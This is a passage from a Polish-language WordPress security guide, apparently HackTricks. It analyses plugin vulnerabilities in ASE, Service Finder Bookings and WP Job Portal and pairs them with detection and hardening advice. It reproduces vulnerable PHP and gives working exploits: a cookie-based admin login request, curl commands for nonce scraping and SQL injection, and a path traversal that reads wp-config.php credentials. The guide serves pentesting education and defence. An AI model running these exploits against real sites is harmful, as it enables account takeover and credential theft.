W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||
|
||
Detection checklist
|
||
|
||
- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`).
|
||
- Zidentyfikuj ścieżki resetowania/przywracania, które:
|
||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy.
|
||
|
||
Hardening
|
||
|
||
- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
|
||
- Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||
- Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki.
|
||
- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
|
||
```php
|
||
add_action( 'profile_update', function( $user_id ) {
|
||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||
}, 10, 1 );
|
||
```
|
||
- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról.
|
||
|
||
---
|
||
|
||
### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”)
|
||
|
||
Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
|
||
|
||
Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1):
|
||
```php
|
||
function service_finder_submit_user_form(){
|
||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||
service_finder_switch_user($user_id);
|
||
}
|
||
if ( isset($_GET['switch_back']) ) {
|
||
service_finder_switch_back();
|
||
}
|
||
}
|
||
add_action('init', 'service_finder_submit_user_form');
|
||
|
||
function service_finder_switch_back() {
|
||
if ( isset($_COOKIE['original_user_id']) ) {
|
||
$uid = intval($_COOKIE['original_user_id']);
|
||
if ( get_userdata($uid) ) {
|
||
wp_set_current_user($uid);
|
||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||
setcookie('original_user_id', '', time() - 3600, '/');
|
||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||
exit;
|
||
}
|
||
wp_die('Original user not found.');
|
||
}
|
||
wp_die('No original user found to switch back to.');
|
||
}
|
||
```
|
||
Dlaczego jest to podatne
|
||
|
||
- Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
|
||
- Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`).
|
||
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce.
|
||
|
||
Eksploatacja (bez uwierzytelnienia)
|
||
```http
|
||
GET /?switch_back=1 HTTP/1.1
|
||
Host: victim.example
|
||
Cookie: original_user_id=1
|
||
User-Agent: PoC
|
||
Connection: close
|
||
```
|
||
---
|
||
|
||
### Rozważania dotyczące WAF dla WordPress/plugin CVEs
|
||
|
||
Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
|
||
|
||
Notatki ofensywne
|
||
|
||
- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||
- Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji.
|
||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||
|
||
Notatki defensywne
|
||
|
||
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko.
|
||
- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex.
|
||
|
||
## Ochrona WordPress
|
||
|
||
### Regularne aktualizacje
|
||
|
||
Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php:
|
||
```bash
|
||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||
add_filter( 'auto_update_plugin', '__return_true' );
|
||
add_filter( 'auto_update_theme', '__return_true' );
|
||
```
|
||
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||
|
||
### Wtyczki bezpieczeństwa
|
||
|
||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||
|
||
### **Inne zalecenia**
|
||
|
||
- Usuń domyślnego użytkownika **admin**
|
||
- Używaj **silnych haseł** i **2FA**
|
||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||
- **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force
|
||
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP.
|
||
|
||
|
||
### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||
|
||
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
|
||
```php
|
||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||
$inquery = ' ';
|
||
if ($category) {
|
||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||
}
|
||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||
```
|
||
Issues introduced by this snippet:
|
||
|
||
1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement.
|
||
3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`.
|
||
|
||
#### Eksploatacja
|
||
|
||
1. Pobierz świeży nonce:
|
||
```bash
|
||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||
```
|
||
2. Wstrzyknij dowolne SQL, wykorzystując `parentid`:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||
-d 'task=savecategory' \
|
||
-d '_wpnonce=<nonce>' \
|
||
-d 'parentid=0 OR 1=1-- -' \
|
||
-d 'cat_title=pwn' -d 'id='
|
||
```
|
||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
|
||
|
||
|
||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||
|
||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||
```php
|
||
$file = $path . '/' . $file_name;
|
||
...
|
||
echo $wp_filesystem->get_contents($file); // raw file output
|
||
```
|
||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume.
|
||
|
||
#### Eksploatacja
|
||
```bash
|
||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||
--data-urlencode 'task=downloadcustomfile' \
|
||
--data-urlencode '_wpnonce=<nonce>' \
|
||
--data-urlencode 'upload_for=resume' \
|
||
--data-urlencode 'entity_id=1' \
|
||
--data-urlencode 'file_name=../../../wp-config.php'
|
||
```
|
||
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
|
||
|
||
## Odnośniki
|
||
|
||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|